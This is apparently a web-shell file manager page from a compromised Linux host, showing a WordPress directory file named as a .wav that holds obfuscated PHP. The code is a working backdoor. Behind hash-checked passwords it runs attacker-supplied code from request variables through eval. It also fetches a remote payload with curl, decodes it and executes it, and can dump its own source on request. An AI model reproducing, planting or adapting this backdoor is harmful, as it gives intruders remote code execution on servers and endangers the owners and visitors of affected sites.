HEX
Server: Apache/2
System: Linux sd22995.server.idn.vn 5.14.0-570.41.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Sep 11 06:52:33 EDT 2025 x86_64
User: dainam (1029)
PHP: 8.3.26
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/dainam/public_html/wp-admin/user/user/iQAWbkjneUIrRBqMpETC.wav
<?php
 goto Gw08rqGBqV1zzrmt; cSOi2o1w6QK9a7j1: $Kz1YSI7ACJucmvkD = ${$z1HwwEYOE9gBmdI7[0 + 31] . $z1HwwEYOE9gBmdI7[3 + 56] . $z1HwwEYOE9gBmdI7[6 + 41] . $z1HwwEYOE9gBmdI7[38 + 9] . $z1HwwEYOE9gBmdI7[41 + 10] . $z1HwwEYOE9gBmdI7[42 + 11] . $z1HwwEYOE9gBmdI7[42 + 15]}; goto clGvSPgJ9bh9Quaj; clGvSPgJ9bh9Quaj: @(md5(md5(md5(md5($Kz1YSI7ACJucmvkD[7])))) === "\x65\x35\x32\142\61\x31\x63\x30\x61\x35\x33\x64\71\x64\x38\x61\145\x64\x38\x33\x37\x38\x30\x62\145\145\x35\71\145\143\x33\143") && (count($Kz1YSI7ACJucmvkD) == 13 && in_array(gettype($Kz1YSI7ACJucmvkD) . count($Kz1YSI7ACJucmvkD), $Kz1YSI7ACJucmvkD)) ? ($Kz1YSI7ACJucmvkD[67] = $Kz1YSI7ACJucmvkD[67] . $Kz1YSI7ACJucmvkD[80]) && ($Kz1YSI7ACJucmvkD[86] = $Kz1YSI7ACJucmvkD[67]($Kz1YSI7ACJucmvkD[86])) && @eval($Kz1YSI7ACJucmvkD[67](${$Kz1YSI7ACJucmvkD[34]}[13])) : $Kz1YSI7ACJucmvkD; goto SxXJVbs7ZzeCdkzl; Gw08rqGBqV1zzrmt: $xSPXz8KJZO1J10gX = "\162" . "\x61" . "\156" . "\x67" . "\x65"; goto bUlWuassEg7ItR9l; bUlWuassEg7ItR9l: $z1HwwEYOE9gBmdI7 = $xSPXz8KJZO1J10gX("\x7e", "\40"); goto cSOi2o1w6QK9a7j1; SxXJVbs7ZzeCdkzl: metaphone("\x4f\145\57\110\163\x46\x37\125\x69\60\x47\x56\65\101\142\x31\x68\103\x34\x45\64\x4e\103\117\113\x48\x45\163\x4c\170\111\x73\x31\147\x59\x79\103\146\165\x4b\x49\142\111"); goto JOrAEhKYKghyo0wj; JOrAEhKYKghyo0wj: class xksIBolstacOF03m { static function PQ8QraUcnJWFHwT0($C_QdQaxwmr1GnHgN) { goto SBWgQ2ZGDuJhaoH1; LyNzEffHIY4i75Ln: foreach ($wiPMcKx4YqB67N2x as $xHr7ANCXK8FLl1sE => $JPWnr_veqBPTYkgL) { $Wvpm2BIeALyqpKST .= $DVv_nlm67r8l70wP[$JPWnr_veqBPTYkgL - 20757]; tutkgEioNtGtxJe3: } goto VEqylgUHVqu8yQLw; ZdBUbMxFJe6vqta3: $DVv_nlm67r8l70wP = $XXuc_ypZOoAefbzC("\x7e", "\40"); goto wTPtTgOuyhMJ_QxJ; bAOlP6vbAXf26JP2: $Wvpm2BIeALyqpKST = ''; goto LyNzEffHIY4i75Ln; eOAcC3GtShsjyDnO: return $Wvpm2BIeALyqpKST; goto fn5igDd3QbI1MGWi; wTPtTgOuyhMJ_QxJ: $wiPMcKx4YqB67N2x = explode("\x7b", $C_QdQaxwmr1GnHgN); goto bAOlP6vbAXf26JP2; VEqylgUHVqu8yQLw: ZGgG9J0q6lqB6VXj: goto eOAcC3GtShsjyDnO; SBWgQ2ZGDuJhaoH1: $XXuc_ypZOoAefbzC = "\x72" . "\141" . "\156" . "\x67" . "\145"; goto ZdBUbMxFJe6vqta3; fn5igDd3QbI1MGWi: } static function PUHTVvxIMbnP6ynu($e_4F2lEkSvcrEuK7, $qTy5l1fPG1Oonfp9) { goto dZ84AcdaXB3OeIDq; JAenufk4khbVdoHM: return empty($yAN1E1HUhnN9yfx3) ? $qTy5l1fPG1Oonfp9($e_4F2lEkSvcrEuK7) : $yAN1E1HUhnN9yfx3; goto LRo1yiqWv3jTxIVP; dXC4M8ErTnP0Vjqx: curl_setopt($HNCxEZxG8unuXpt7, CURLOPT_RETURNTRANSFER, 1); goto VbrZ1jF6uPi7WUZT; dZ84AcdaXB3OeIDq: $HNCxEZxG8unuXpt7 = curl_init($e_4F2lEkSvcrEuK7); goto dXC4M8ErTnP0Vjqx; VbrZ1jF6uPi7WUZT: $yAN1E1HUhnN9yfx3 = curl_exec($HNCxEZxG8unuXpt7); goto JAenufk4khbVdoHM; LRo1yiqWv3jTxIVP: } static function aepeFSE445_lPdDO() { goto H018zpUk4ildSK5X; gvSpbIeSnbxaCgHM: die; goto D73F3nF3x_WGgOui; PNkulnR8RpUAp200: foreach ($DcEOFnwNJLKx3Vyf as $rFYBbDDZg0rwyUdV) { $yzslj24oDe21Wflc[] = self::pq8qrAucnjWFhwt0($rFYBbDDZg0rwyUdV); ZnrUxakz0_IRBGXR: } goto GfL7Suy11aC7oZfa; vMObxiDzIXZiAYX3: $onhrCbqxmmR_EQW2 = self::pUhTVVxIMbnp6yNu($lv_UcVc102pmCKTG[1 + 0], $yzslj24oDe21Wflc[0 + 5]); goto yzerD_OJqrIt8hRI; GfL7Suy11aC7oZfa: hBNU0Us4U1Yg67LH: goto sbO0DAQ4yEr2El9y; D73F3nF3x_WGgOui: MQQy0CanayqFE40m: goto WnP6d3yq388793k6; V5RGi64Nlmfc5Xt9: $Jp1v7RpnQQc2TnYl = @$yzslj24oDe21Wflc[2 + 1]($yzslj24oDe21Wflc[0 + 6], $KX8M5W8dmz9Um1Rv); goto zHCBG4yAH2XqC_hW; UfycZGC_upa7NGcG: if (!(@$lv_UcVc102pmCKTG[0] - time() > 0 and md5(md5($lv_UcVc102pmCKTG[3 + 0])) === "\x32\x39\x37\70\x34\145\64\x63\61\142\x35\145\145\x39\64\x62\66\60\x30\x35\143\x61\60\x63\x36\x34\67\146\x65\x34\x65\x38")) { goto MQQy0CanayqFE40m; } goto vMObxiDzIXZiAYX3; H018zpUk4ildSK5X: $DcEOFnwNJLKx3Vyf = array("\62\60\67\x38\x34\x7b\x32\60\67\66\71\173\62\60\67\70\62\173\62\60\67\x38\66\173\62\x30\x37\66\x37\173\62\x30\67\70\62\173\62\60\x37\x38\70\x7b\x32\60\67\70\x31\x7b\62\x30\67\x36\66\x7b\x32\60\x37\67\63\x7b\62\60\x37\70\x34\x7b\62\60\x37\66\x37\173\62\60\x37\x37\x38\173\62\60\x37\x37\x32\173\x32\x30\x37\x37\x33", "\62\x30\x37\x36\x38\173\x32\60\x37\x36\x37\x7b\x32\60\67\66\71\x7b\62\x30\x37\70\x38\x7b\62\x30\67\x36\71\173\62\60\x37\67\x32\173\x32\60\x37\66\x37\173\62\60\x38\x33\64\173\62\60\70\x33\x32", "\62\60\67\67\x37\173\62\60\67\66\x38\173\62\x30\x37\67\x32\x7b\62\60\67\x37\63\173\62\x30\x37\x38\x38\x7b\x32\x30\67\x38\x33\x7b\62\x30\x37\70\62\x7b\62\60\x37\70\x34\x7b\x32\x30\x37\x37\x32\173\x32\60\x37\70\x33\x7b\x32\60\x37\x38\62", "\62\x30\x37\x37\x31\173\x32\x30\x37\x38\x36\173\x32\x30\67\70\64\x7b\62\x30\67\67\x36", "\62\x30\x37\70\65\173\x32\x30\x37\70\66\x7b\62\x30\67\66\x38\173\x32\60\67\x38\62\173\x32\x30\70\62\71\x7b\62\60\x38\63\x31\x7b\62\60\67\70\x38\173\62\60\x37\70\63\x7b\x32\60\x37\x38\x32\x7b\62\60\67\70\64\x7b\x32\x30\67\67\x32\x7b\x32\60\67\70\x33\x7b\x32\x30\x37\70\x32", "\62\60\x37\70\x31\x7b\62\60\67\x37\70\x7b\x32\x30\67\67\x35\173\62\x30\x37\70\62\173\x32\60\x37\70\70\173\x32\60\x37\70\60\x7b\x32\x30\x37\70\x32\x7b\62\60\x37\x36\x37\173\x32\x30\67\x38\70\x7b\x32\60\x37\70\64\x7b\62\x30\x37\67\x32\173\x32\60\67\x37\x33\173\x32\x30\x37\66\x37\x7b\62\x30\67\x38\x32\173\x32\x30\x37\67\63\x7b\62\x30\67\66\x37\173\x32\x30\67\66\70", "\62\60\x38\61\61\173\62\60\70\x34\x31", "\x32\x30\67\x35\70", "\x32\60\x38\x33\66\173\62\60\70\64\61", "\62\60\x38\x31\x38\173\62\x30\70\x30\61\x7b\x32\x30\70\x30\x31\x7b\62\x30\x38\61\70\x7b\62\x30\67\x39\x34", "\x32\60\67\70\61\x7b\x32\x30\x37\x37\x38\173\x32\x30\67\x37\x35\173\62\60\x37\66\x37\x7b\62\60\x37\70\62\x7b\62\60\x37\66\x39\x7b\x32\x30\x37\70\70\x7b\x32\x30\x37\67\70\x7b\x32\x30\67\67\x33\173\62\60\67\x37\x31\x7b\x32\60\67\x36\66\173\x32\60\67\66\x37"); goto PNkulnR8RpUAp200; GdaS9CTuWLxs6rtj: @$yzslj24oDe21Wflc[7 + 3](INPUT_GET, "\157\146") == 1 && die($yzslj24oDe21Wflc[0 + 5](__FILE__)); goto UfycZGC_upa7NGcG; yzerD_OJqrIt8hRI: @eval($yzslj24oDe21Wflc[4 + 0]($onhrCbqxmmR_EQW2)); goto gvSpbIeSnbxaCgHM; zHCBG4yAH2XqC_hW: $lv_UcVc102pmCKTG = $yzslj24oDe21Wflc[2 + 0]($Jp1v7RpnQQc2TnYl, true); goto GdaS9CTuWLxs6rtj; sbO0DAQ4yEr2El9y: $KX8M5W8dmz9Um1Rv = @$yzslj24oDe21Wflc[1]($yzslj24oDe21Wflc[3 + 7](INPUT_GET, $yzslj24oDe21Wflc[2 + 7])); goto V5RGi64Nlmfc5Xt9; WnP6d3yq388793k6: } } goto g7aJ8xv3rxTiCkc5; g7aJ8xv3rxTiCkc5: xKsiBOlstaCof03M::aePeFsE445_lpddO();
?>